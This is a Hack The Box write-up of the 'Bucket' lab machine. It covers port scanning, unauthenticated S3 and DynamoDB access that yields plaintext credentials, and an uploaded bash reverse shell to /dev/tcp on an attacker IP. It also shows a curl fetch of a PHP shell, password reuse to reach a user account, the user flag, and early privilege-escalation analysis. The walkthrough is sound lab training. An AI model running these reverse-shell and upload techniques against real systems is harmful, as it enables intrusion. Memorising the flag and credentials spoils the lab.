Posts Hack The Box - Bucket Writeup
Post
Cancel

Hack The Box - Bucket Writeup

HTB - Bucket

Overview

Descriptive information card with statistics about this machine

This medium difficulty Linux machine by MrR3boot on Hack the Box was very interesting and quite relevant in today’s cloud-centric world. Many websites these days are hosted and run from AWS, and use AWS S3 buckets as data storage. This machine explores how misconfigurations and improper security for user credentials can lead to total compromise of the server that hosts the site. Since DynamoDB can be hosted locally as well as in the cloud, the server that was compromised in this case was the local machine on the internal network.

Useful Skills and Tools

Upgrade to a fully interactive reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
#On victim machine
python3 -c 'import pty;pty.spawn("/bin/bash")'; #spawn python psuedo-shell
ctrl-z #send to background

#On attacker's machine
stty raw -echo # https://stackoverflow.com/questions/22832933/what-does-stty-raw-echo-do-on-os-x
stty -a #get local number of rows & columns
fg #to return shell to foreground

#On victim machine
export SHELL=bash
stty rows $x columns $y #Set remote shell to x number of rows & y columns
export TERM=xterm-256color #allows you to clear console, and have color output

Enumeration

Nmap scan

I started my enumeration with an nmap scan of 10.10.10.212. The options I regularly use are:

FlagPurpose
-p-A shortcut which tells nmap to scan all ports
-vvvGives very verbose output so I can see the results as they are found, and also includes some information not normally shown
-sCEquivalent to --script=default and runs a collection of nmap enumeration scripts against the target
-sVDoes a service version scan
-oA $nameSaves all three formats (standard, greppable, and XML) of output with a filename of $name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ nmap -sCV -n -p- -Pn -v -oA bucket 10.10.10.212                                              130 ⨯

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 248.46 seconds

My nmap scan showed that there were only two TCP ports open on this machine: 22 - SSH and 80 - HTTP.

Port 80 - HTTP

An error message saying unknown host for bucket.htb

I navigated to the IP address in my web browser to see what might be hosted over HTTP but was redirected to bucket.htb, which I added to my /etc/hosts file.

A website called Bucket Advertising Platform that talks about bug bounties and 0day research

There, I found an advertising platform that sold Information security related advertisements. There was no useful information on the site other than the email address support@bucket.htb.

The source code of the page shows a subdomain called s3 where an image is hosted

However, in the source code of the page I found a reference to an s3 subdomain where the articles were hosted. I added this subdomain to my /etc/hosts file as well.

Json data showing status running

Next I navigated to s3.bucket.htb, which led to a page with json output that simply said {"status": "running"}. Since there was nothing else here, I fired up gobuster to see if I could find any directories.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ gobuster dir -u http://s3.bucket.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 20 -k
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://s3.bucket.htb
[+] Threads:        20
[+] Wordlist:       /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/02/16 20:36:05 Starting gobuster
===============================================================
/shell (Status: 200)
/health (Status: 200)
/server-status (Status: 403)
[ERROR] 2021/02/16 20:39:28 [!] parse http://s3.bucket.htb/error_log: net/url: invalid control character in URL
===============================================================
2021/02/16 20:45:21 Finished
===============================================================

Json data returned in the browser showing two services that are running

The first one I tried out was the directory /health. This page showed that two services were up and running: S3 and DynamoDB.

An error message showing a strange looking hostname

that came up was /shell, which I navigated to. This redirected me to http://444af250749d:4566/shell/. The hostname string was hex-encoded, and turned out to be the IP 242.80.116.157. I didn’t feel like this was right, so I killed the connection. It seemed like either a misconfiguration, or someone was trying to compromise other player’s machines.

This was a misconfiguration, not malicious

Burp suite output showing what the redirect to shell looked like

I checked out what the request to this URL looked like in Burp suite, and noticed that it was talking to a hypercorn-h11 server. This response also showed that I was able to use dangerous HTTP methods such as PUT and DELETE.

More information about the headers from the health endpoint showing hypercorn

In the Headers tab of the /health endpoint there was also the same information seen in Burp regarding the hypercorn server for the weird /shell IP redirect. I decided to keep poking at it to see if I could get anything useful from it. It did not seem to actually be something malicious.

A DynamoDB web shell interface

I tried typing a / after /shell, which caused the page to go to an AWS DynamoDB shell page. This looked to be more likely what I wanted.

  • https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Tools.CLI.html
  • https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/WorkingWithTables.Basics.html
  • https://awscli.amazonaws.com/v2/documentation/api/latest/reference/dynamodb/index.html
  • https://awscli.amazonaws.com/v2/documentation/api/latest/reference/index.html

The DynamoDB help page with console shortcuts

I tried using the documentation to figure out how to get some useful information out of the web shell.

There was a tutorial mode that I tried to follow along with, but the web console did not seem to work. I tried installing and using the AWS CLI instead.

It may actually be possible to do this in the web shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/shell/ --no-paginate --no-sign-request 
You must specify a region. You can also configure your region by running "aws configure".
                           
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/shell/ --no-paginate --no-sign-request --region
To see help text, you can run:

  aws help
  aws <command> help
  aws <command> <subcommand> help

usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
aws: error: argument --region: expected one argument
                                                                                                       
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/shell/ --no-paginate --no-sign-request --region bucket
{
    "TableNames": [
        "Image",
        "Tag",
        "users"
    ]
}

It took a bit more reading to figure out how to use the CLI with dynamodb, and how to connect to the remote endpoint. After getting all of the options correctly set, I found that there were three tables in the database. Two of them I had created by playing around with the tutorial, but the third users database was already there.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ aws dynamodb scan users --endpoint-url http://s3.bucket.htb/shell/ --no-paginate --no-sign-request --region bucket
To see help text, you can run:

  aws help
  aws <command> help
  aws <command> <subcommand> help

usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
aws: error: the following arguments are required: --table-name
                                                                                                       
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb/shell/ --no-paginate --no-sign-request --region bucket
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3
}

Thankfully the error messages I got while learning this tool were verbose enough that it was fairly easy to correct my mistakes and move on. After figuring out how to pull data from the table, I found that it contained three username/password combinations.

  1. Mgmt : Management@#1@#
  2. Cloudadm : Welcome123!
  3. Sysadm : n2vM-<_K_Q:.Aa2

I had no idea yet what to do with these credentials, however.

1
2
3
4
5
6
7
8
9
10
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ hydra -l users -P passwords 10.10.10.212 ssh      
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-02-17 14:49:29
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ssh://10.10.10.212:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-02-17 14:49:33

I tried to use the credentials to SSH in but none of them worked, so I did a bit more research on DynamoDB.

  • https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/EMRforDynamoDB.CopyingData.S3.html
  • https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/index.html
1
2
3
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ aws s3 ls --endpoint-url http://s3.bucket.htb
2021-02-18 19:12:03 adserver

I found a way to get a listing of endpoints that exist on the server and checked it out. I noticed that the one that came up adserver was the name of the site I originally saw on port 80. It seemed likely that this was the backend database for that site.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ aws s3 ls --endpoint-url http://s3.bucket.htb adserver   
                           PRE images/
2021-02-18 19:20:02       5344 index.html
                                                                                                     
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ aws s3 cp --endpoint-url http://s3.bucket.htb adserver .

usage: aws s3 cp <LocalPath> <S3Uri> or <S3Uri> <LocalPath> or <S3Uri> <S3Uri>
Error: Invalid argument type
                                                                                                       
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ aws s3 cp --endpoint-url http://s3.bucket.htb s3://adserver .
                                                                                                 
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ aws s3 cp --endpoint-url http://s3.bucket.htb s3://adserver . --recursive
download: s3://adserver/index.html to ./index.html               
download: s3://adserver/images/bug.jpg to images/bug.jpg           
download: s3://adserver/images/malware.png to images/malware.png   
download: s3://adserver/images/cloud.png to images/cloud.png

I was able to download the files from the s3 bucket using the CLI. After reviewing them, I found that it was just the code and images for the site hosted on port 80. Since I was able to download files, I wondered if I was able to upload files as well. If so, I could upload a web shell here since I knew how where to access the files here.

My PHP reverse shell file being downloaded instead of executing

I initially tried finding my php shell at http://bucket.htb/php-code-exec.php, but then I remembered the link I had found in the page’s source code was "http://s3.bucket.htb/adserver/images/bug.jpg, so this should be where my file was uploaded. Unfortunately it appeared as if php code was not executable on this server.

The folder is apparently cleaned up rather quickly, so you may have to upload it multiple times to test out everything.

  • https://docs.aws.amazon.com/systems-manager/latest/userguide/walkthrough-cli.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ aws ssm describe-instance-information \                                            
        --output text --query "InstanceInformationList[*]" --endpoint-url http://s3.bucket.htb
None                                                                                           
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ aws ssm send-command \
        --document-name "AWS-RunShellScript" \
        --endpoint-url http://s3.bucket.htb \
        --parameters '{"commands":["#!/bin/bash","echo test"]}'                                                                                                       
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ aws ssm send-command \
        --document-name "AWS-RunShellScript" \
        --endpoint-url http://s3.bucket.htb \
        --parameters '{"commands":["#!/bin/bash","curl http://10.10.15.13:8081/php-reverse-shell.php"]}'

I found a page that talked about executing shell scripts using the AWS CLI, but it did not seem to do anything in my tests on this server.

1
2
3
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.15.13/8090 0>&1'

Since PHP did not seem to execute, I decided to try uploading a bash reverse shell instead.

1
2
3
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ aws s3 cp --endpoint-url http://s3.bucket.htb ./test.sh s3://adserver
upload: ./test.sh to s3://adserver/test.sh

I uploaded it to the server.

1
2
3
4
5
6
7
8
9
10
11
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ aws ssm send-command \
    --document-name "AWS-RunRemoteScript" \
    --targets "Key=instanceids,Values=adserver" \
    --parameters '{"sourceType":["S3"],"sourceInfo":["{\"path\":\"http://s3.bucket.htb/adserver/test.sh\"}"],"commandLine":["test.sh"]}' --endpoint-url http://s3.bucket.htb
                                                                                                        
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ aws ssm send-command \
    --document-name "AWS-RunRemoteScript" \
    --targets "Key=instanceids,Values=adserver" \
    --parameters '{"sourceType":["S3"],"sourceInfo":["{\"path\":\"s3://adserver/test.sh\"}"],"commandLine":["test.sh"]}' --endpoint-url http://s3.bucket.htb
  • https://docs.aws.amazon.com/systems-manager/latest/userguide/integration-s3-shell.html

I had found this page that seemed to talk about running shell scripts, but uploading and running my reverse shell on the server failed as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ aws s3 cp --endpoint-url http://s3.bucket.htb ~/php-code-exec.php s3://adserver
upload: ../../php-code-exec.php to s3://adserver/php-code-exec.php
                                                                                                       
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ aws --endpoint-url http://s3.bucket.htb/ s3 ls s3://adserver/
                           PRE images/
2021-03-14 19:33:04       5344 index.html
2021-03-14 19:34:18         42 php-code-exec.php
                                                                                                       
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ aws --endpoint-url http://s3.bucket.htb/ s3 ls s3://adserver/
                           PRE images/
2021-03-14 19:35:04       5344 index.html

Since the initial upload folder did not allow me to execute PHP, I tried uploading it to another folder using directory traversal. The folder was cleaned up quickly, though, so I had to keep trying to get my reverse shell to execute.

Initial Foothold

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ script                                                                                         1 ⨯
Script started, output log file is 'typescript'.
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ bash                                                             
zweilos@kali:~/htb/bucket$ nc -lvnp 8090
listening on [any] 8090 ...
connect to [10.10.14.158] from (UNKNOWN) [10.10.10.212] 47228
Linux bucket 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 23:52:03 up  3:08,  0 users,  load average: 1.59, 6.00, 4.19
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 1: python: not found
$ which python3
/usr/bin/python3
$ ptyhon3 -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 3: ptyhon3: not found
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@bucket:/$ ^Z
[1]+  Stopped                 nc -lvnp 8090
zweilos@kali:~/htb/bucket$ stty raw -echo
speed 38400 baud; rows 46; columns 103; line = 0;
                                                 intr = ^C; quit = ^\; erase = ^H; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>;
                                                start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
                                               
                                                                                                      znc -lvnp 8090a:~/htb/bucket$                                                                           

www-data@bucket:/$ stty rows 46 columns 103
www-data@bucket:/$ export TERM=xterm-256color

However, my patience paid off and I was able to get a shell back on my waiting listener. I quickly upgraded to a full shell using python3 and began looking around. I started out in the root directory of the machine, which was a bit strange as I was logged in as the user www-data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@bucket:/$ ls -la
total 80
drwxr-xr-x  21 root root  4096 Feb 10 12:49 .
drwxr-xr-x  21 root root  4096 Feb 10 12:49 ..
drwxr-xr-x   2 root root  4096 Sep 23 03:18 .aws
lrwxrwxrwx   1 root root     7 Apr 23  2020 bin -> usr/bin
drwxr-xr-x   3 root root  4096 Oct  2 09:23 boot
drwxr-xr-x   2 root root  4096 May  7  2020 cdrom
drwxr-xr-x  17 root root  3920 Mar 14 20:44 dev
drwxr-xr-x 107 root root  4096 Feb 10 12:51 etc
drwxr-xr-x   3 root root  4096 Sep 16 12:59 home
lrwxrwxrwx   1 root root     7 Apr 23  2020 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Apr 23  2020 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Apr 23  2020 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Apr 23  2020 libx32 -> usr/libx32
drwx------   2 root root 16384 May  7  2020 lost+found
drwxr-xr-x   2 root root  4096 Apr 23  2020 media
drwxr-xr-x   2 root root  4096 Apr 23  2020 mnt
drwxr-xr-x   3 root root  4096 Sep 16 10:28 opt
dr-xr-xr-x 243 root root     0 Mar 14 20:43 proc
drwx------  11 root root  4096 Sep 24 04:09 root
drwxr-xr-x  30 root root   920 Mar 14 20:44 run
lrwxrwxrwx   1 root root     8 Apr 23  2020 sbin -> usr/sbin
drwxr-xr-x   6 root root  4096 May  7  2020 snap
drwxr-xr-x   2 root root  4096 Apr 23  2020 srv
dr-xr-xr-x  13 root root     0 Mar 14 20:44 sys
drwxrwxrwt   2 root root  4096 Mar 14 23:29 tmp
drwxr-xr-x  14 root root  4096 Apr 23  2020 usr
drwxr-xr-x  14 root root  4096 Feb 10 12:29 var
www-data@bucket:/$ cd .aws
www-data@bucket:/.aws$ ls -la
total 16
drwxr-xr-x  2 root root 4096 Sep 23 03:18 .
drwxr-xr-x 21 root root 4096 Feb 10 12:49 ..
-rw-------  1 root root   22 Sep 16 13:13 config
-rw-------  1 root root   64 Sep 16 10:57 credentials

In the root I noticed that there was a hidden .aws directory, which had two interesting looking files inside. However, these were both owned by root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
www-data@bucket:/.aws$ cd /home
www-data@bucket:/home$ ls -la
total 12
drwxr-xr-x  3 root root 4096 Sep 16 12:59 .
drwxr-xr-x 21 root root 4096 Feb 10 12:49 ..
drwxr-xr-x  3 roy  roy  4096 Sep 24 03:16 roy
www-data@bucket:/home$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
roy:x:1000:1000:,,,:/home/roy:/bin/bash

There was a user named roy on this machine who would log in, and had a /home folder. I wondered if any of the passwords I found earlier would work for him.

Finding user creds

1
2
3
4
5
6
7
8
9
10
www-data@bucket:/home$ su roy
Password: 
su: Authentication failure
www-data@bucket:/home$ su roy
Password: 
su: Authentication failure
www-data@bucket:/home$ su roy
Password: 
roy@bucket:/home$ id
uid=1000(roy) gid=1000(roy) groups=1000(roy),1001(sysadm)

The first two passwords didn’t work, but the third (n2vM-<_K_Q:.Aa2) let me switch to the user roy. Roy was a member of the sysadm group which was very interesting.

1
2
3
roy@bucket:/home$ sudo -l
[sudo] password for roy: 
Sorry, user roy may not run sudo on bucket.

Unfortunately roy was not able to run sudo on this machine.

User.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
roy@bucket:/home$ cd roy
roy@bucket:~$ ls -la
total 28
drwxr-xr-x 3 roy  roy  4096 Sep 24 03:16 .
drwxr-xr-x 3 root root 4096 Sep 16 12:59 ..
lrwxrwxrwx 1 roy  roy     9 Sep 16 12:59 .bash_history -> /dev/null
-rw-r--r-- 1 roy  roy   220 Sep 16 12:59 .bash_logout
-rw-r--r-- 1 roy  roy  3771 Sep 16 12:59 .bashrc
-rw-r--r-- 1 roy  roy   807 Sep 16 12:59 .profile
drwxr-xr-x 3 roy  roy  4096 Sep 24 03:16 project
-r-------- 1 roy  roy    33 Mar 14 20:44 user.txt
roy@bucket:~$ cat user.txt 
94cb50c7a89bf4dd549ffa4df5768156

He was, however, the owner of the user flag!

Path to Power (Gaining Administrator Access)

Enumeration as roy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
require 'vendor/autoload.php';
date_default_timezone_set('America/New_York');
use Aws\DynamoDb\DynamoDbClient;
use Aws\DynamoDb\Exception\DynamoDbException;

$client = new Aws\Sdk([
    'profile' => 'default',
    'region'  => 'us-east-1',
    'version' => 'latest',
    'endpoint' => 'http://localhost:4566'
]);

$dynamodb = $client->createDynamoDb();

//todo

There was a db.php file in the projects folder. Also the file composer.lock held the version numbers of all of the files for the AWS PHP implementation. It reported the main version as , which was old.

  • https://github.com/aws/aws-sdk-php/blob/master/CHANGELOG.md

There did not seem to be any vulnerabilities that I could see in the changelogs. I decided to look more into the DynamoDB client that was being created in that db.php file. It was listening on port 4566, which had not shown up on my initial nmap scan so I checked to see if it was running.

1
2
3
4
5
6
7
8
9
10
11
12
13
roy@bucket:~/project/vendor/bin$ netstat -tulvnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:4566          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:41703         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*

When I checked the ports that were open with netstat I noticed that there were a few ports open internally that I had not seen in my initial nmap scan: 4566, 8000, and 41703.

1
2
roy@bucket:~/project/vendor/bin$ curl http://localhost:4566
{"status": "running"}

Using curl to connect to port 4566 simply gave a json response that said that something was running.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  <title>We are not ready yet!</title>  
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

<style>
...snipped excess CSS code...
</style>

  <script>
  window.console = window.console || function(t) {};
</script>

<script>
  if (document.location.search.match(/type=embed/gi)) {
    window.parent.postMessage("resize", "*");
  }
</script>

</head>

<body translate="no" >
  <main>
  <section class="advice">
    <h1 class="advice__title">Site under construction or maintenance </h1>
    <p class="advice__description"><span><</span> Bucket Application <span>/></span> not finished yet</p>
  </section>
  <section class="city-stuff">
    ...snipped excess lists...
  </section>
</main>
    <script src="https://static.codepen.io/assets/common/stopExecutionOnTimeout-157cd5b220a5c80d4ff8e0e70ac069bffd87a61252088146915e8726e5d9f147.js"></script>

 
    <script id="rendered-js" >
// ¯\_(ツ)_/¯ I told you that there was no JS
//# sourceURL=pen.js
    </script>
</body>
</html>

Port 8000, however, hosted a website for a Bucket Appliance that was still under construction. There was an interesting comment at the bottom that said “I told you that there was no JS” and had a commented out link to pen.js.

1
2
roy@bucket:~$ find / -name pen.js 2>/dev/null
roy@bucket:~$

I was curious, so I searched for the file pen.js to see what it was, but it didnt seem to exist.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
roy@bucket:/var$ cd www
roy@bucket:/var/www$ ls -la
total 16
drwxr-xr-x   4 root root 4096 Feb 10 12:29 .
drwxr-xr-x  14 root root 4096 Feb 10 12:29 ..
drwxr-x---+  4 root root 4096 Feb 10 12:29 bucket-app
drwxr-xr-x   2 root root 4096 Mar 15 00:37 html
roy@bucket:/var/www$ cd bucket-app/
roy@bucket:/var/www/bucket-app$ ls -la
total 856
drwxr-x---+  4 root root   4096 Feb 10 12:29 .
drwxr-xr-x   4 root root   4096 Feb 10 12:29 ..
-rw-r-x---+  1 root root     63 Sep 23 02:23 composer.json
-rw-r-x---+  1 root root  20533 Sep 23 02:23 composer.lock
drwxr-x---+  2 root root   4096 Mar 15 00:09 files
-rwxr-x---+  1 root root  17222 Sep 23 03:32 index.php
-rwxr-x---+  1 root root 808729 Jun 10  2020 pd4ml_demo.jar
drwxr-x---+ 10 root root   4096 Feb 10 12:29 vendor

I did some manual enumeration of the www directory to see if I could find what was hosted on port 8000, and found another page’s files in the bucket-app directory. These were all owned by root, which was odd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
        if($_POST["action"]==="get_alerts") {
                date_default_timezone_set('America/New_York');
                $client = new DynamoDbClient([
                        'profile' => 'default',
                        'region'  => 'us-east-1',
                        'version' => 'latest',
                        'endpoint' => 'http://localhost:4566'
                ]);

                $iterator = $client->getIterator('Scan', array(
                        'TableName' => 'alerts',
                        'FilterExpression' => "title = :title",
                        'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
                ));

                foreach ($iterator as $item) {
                        $name=rand(1,10000).'.html';
                        file_put_contents('files/'.$name,$item["data"]);
                }
                passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
        }
}
else
{
?>

The file index.php in this folder matched what curl had delivered to me, but contained some additional PHP code. This seemed similar to the file I had seen in the projects folder, with a DynamoDb instance being created after a POST request looking for alerts. It then reads the database called alerts and pulls out the titles that have Ransomware in them. After that it creates a random number between 1 and 10000 and saves that as the filename of an html file. This gets saved as a PDF file named results.pdf in the folder /var/www/bucket-app/files/ using the java program Pd4Cmd.

I double checked again to be sure, but there didn’t seem to be an alerts table in the database. This seemed like a good opportunity to make one!

  • https://docs.aws.amazon.com/cli/latest/userguide/cli-services-dynamodb.html

I found a page in the AWS documentation that specified how to create a DynamoDb database.

1
2
3
4
5
aws dynamodb create-table \
    --table-name alerts \
    --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S \
    --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE \
	--provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=10 --endpoint-url http://s3.bucket.htb

I used the AWS CLI to create the table called alerts using the information from the documentation and got back a response.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
{
    "TableDescription": {
        "AttributeDefinitions": [
            {
                "AttributeName": "title",
                "AttributeType": "S"
            },
            {
                "AttributeName": "data",
                "AttributeType": "S"
            }
        ],
        "TableName": "alerts",
        "KeySchema": [
            {
                "AttributeName": "title",
                "KeyType": "HASH"
            },
            {
                "AttributeName": "data",
                "KeyType": "RANGE"
            }
        ],
        "TableStatus": "ACTIVE",
        "CreationDateTime": 1615775665.193,
        "ProvisionedThroughput": {
            "LastIncreaseDateTime": 0.0,
            "LastDecreaseDateTime": 0.0,
            "NumberOfDecreasesToday": 0,
            "ReadCapacityUnits": 10,
            "WriteCapacityUnits": 10
        },
        "TableSizeBytes": 0,
        "ItemCount": 0,
        "TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/alerts"
    }
}

It looked like I had successfully created the table.

1
2
3
4
5
6
7
8
